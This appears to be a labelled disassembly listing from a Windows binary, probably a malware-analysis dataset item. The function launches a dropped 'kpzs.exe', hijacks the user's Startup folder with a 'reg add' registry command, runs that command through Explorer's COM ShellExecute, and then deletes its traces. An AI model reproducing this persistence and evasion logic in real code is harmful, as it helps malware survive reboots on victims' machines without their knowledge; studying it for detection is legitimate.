Function at 0x10003410
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x934
lea eax, [ebp - 0x720]
push ebx
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.ole32.dll_CoInitialize]
push 0
call esi
mov ebx, dword [sym.imp.ole32.dll_CoCreateGuid]
lea eax, [ebp - 0x18]
push eax
call ebx
test eax, eax
jne 0x10003478
movzx eax, byte [ebp - 0xe]
push eax
movzx eax, byte [ebp - 0xf]
push eax
movzx eax, byte [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push dword [ebp - 0x18]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x10225028
call fcn.10007b90
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x720]
push 0x10225028
push eax
lea eax, [ebp - 0x1f8]
push str._s_kpzs.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x618]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100034d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetModuleFileName_failed___d_._n
call fcn.10007b40
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x618]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x618]
push eax
push str._skpzs.exe
push 0xffffffffffffffff
lea eax, [ebp - 0x1f8]
push 0x104
push eax
call fcn.10007b00
add esp, 0x14
lea eax, [ebp - 0x1f8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10003532
push str.libcef.exe_not_found_in_the_current_directory._n
call fcn.10007b40
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xf0]
mov dword [ebp - 0xe0], 0x44
push eax
lea eax, [ebp - 0xe0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1f8]
movlpd qword [ebp - 0xdc], xmm0
push eax
push 0
movlpd qword [ebp - 0xd4], xmm0
movlpd qword [ebp - 0xcc], xmm0
movlpd qword [ebp - 0xc4], xmm0
movlpd qword [ebp - 0xbc], xmm0
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa4], xmm0
movups xmmword [ebp - 0xf0], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100035d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.10007b40
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call esi
lea eax, [ebp - 0x18]
push eax
call ebx
test eax, eax
jne 0x10003611
movzx eax, byte [ebp - 0xe]
push eax
movzx eax, byte [ebp - 0xf]
push eax
movzx eax, byte [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push dword [ebp - 0x18]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x10225028
call fcn.10007b90
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x10225028
lea eax, [ebp - 0x720]
push eax
lea eax, [ebp - 0x510]
push str._s_s.lnk
push eax
call edi
push 0
lea eax, [ebp - 0x828]
push str.add__HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v_Startup__d___s___f
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x828]
lea ecx, [ebp - 0x510]
push eax
call fcn.100031a0
add esp, 4
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x300]
push str.__s_
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x408]
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D_s
push eax
call edi
add esp, 0xc
mov dword [ebp - 0x38], 0xc08afd90
mov dword [ebp - 0x34], 0x11d1f2a1
mov dword [ebp - 0x30], 0xa0005584
mov dword [ebp - 0x2c], 0x80381fc9
push 0
mov dword [ebp - 0x28], 0xd30c1661
mov dword [ebp - 0x24], 0x11d0cdaf
mov dword [ebp - 0x20], 0xc0003e8a
mov dword [ebp - 0x1c], 0x6ee2c94f
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 4], 0
call esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push 4
push 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10003993
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 0x4c], str.Document
mov eax, dword [eax]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 8]
push ecx
push eax
push 1
lea eax, [ebp - 0x4c]
push eax
push 0x101a4554
push dword [ebp - 4]
call esi
test eax, eax
js 0x1000395a
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x48]
push 0
push 0
push edx
mov eax, dword [ecx]
lea edx, [ebp - 0x68]
push edx
push 2
push 0x400
push 0x101a4554
push dword [ebp - 8]
push ecx
call dword [eax + 0x18]
test eax, eax
js 0x1000395a
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x50], str.Application
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 8]
push ecx
push eax
push 1
lea eax, [ebp - 0x50]
push eax
push 0x101a4554
push edi
call esi
test eax, eax
js 0x1000395a
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
lea ecx, [ebp - 0x48]
push 0
push 0
push ecx
lea ecx, [ebp - 0x68]
push ecx
push 2
push 0x400
push 0x101a4554
push dword [ebp - 8]
push edi
call dword [eax + 0x18]
test eax, eax
js 0x1000395a
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x54], str.ShellExecute
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 8]
push ecx
push eax
push 1
lea eax, [ebp - 0x54]
push eax
push 0x101a4554
push edi
call esi
test eax, eax
js 0x1000395a
mov eax, 8
lea ecx, [ebp - 0x300]
mov word [ebp - 0x98], ax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003810
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xor ecx, ecx
mov edx, 2
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10007df2
lea ecx, [ebp - 0x300]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003858
push ebx
push esi
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push esi
mov word [esi + ebx*2], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x90], eax
lea ecx, [ebp - 0x408]
mov eax, 8
lea edx, [ecx + 1]
mov word [ebp - 0x88], ax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100038a0
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xor ecx, ecx
mov edx, 2
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10007df2
lea ecx, [ebp - 0x408]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100038e8
push ebx
push esi
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push esi
mov word [esi + ebx*2], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
push 0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x80], eax
push ecx
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x70], 2
push ecx
push 1
lea eax, [ebp - 0x98]
mov dword [ebp - 0x6c], 0
push 0x400
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x58]
push 0x101a4554
push dword [ebp - 8]
mov dword [ebp - 0x74], eax
mov eax, dword [edi]
push edi
mov dword [ebp - 0x58], 0xfffffffd
call dword [eax + 0x18]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x48]
push 0
push 0
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x68]
push edx
push 1
push 0x400
push 0x101a4554
push 0x12e
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x1f8]
push eax
call esi
lea eax, [ebp - 0x930]
push eax
call esi
lea eax, [ebp - 0x510]
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret